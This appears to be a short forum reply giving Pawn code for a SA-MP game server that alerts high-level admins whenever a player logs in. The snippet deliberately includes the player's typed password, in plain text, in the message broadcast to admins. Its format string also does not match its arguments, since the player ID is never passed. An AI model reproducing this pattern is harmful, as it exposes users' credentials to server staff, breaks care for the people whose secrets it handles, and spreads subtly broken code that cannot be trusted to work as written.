12.11.2016, 04:54
Yes its simple
Add this somewhere in your script
then use this code at your dialog login if player logged in successfully
Add this somewhere in your script
PHP код:
SendMessageToAdmins(color, message[])
{
for (new i = 0; i < MAX_PLAYERS; i++)
{
if(IsPlayerConnected(i))
{
if (PlayerInfo[i][AdminLevel] >= 5) SendClientMessage(i, color, message);//You can change admin system or variable with your admin system
}
}
}
PHP код:
new playername[64];
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
format(string, sizeof(string), "Player %s(%ID), has logged in the server with password: %s", playername, inputtext);
SendMessageToAdmins(COLOR_WHITE, string);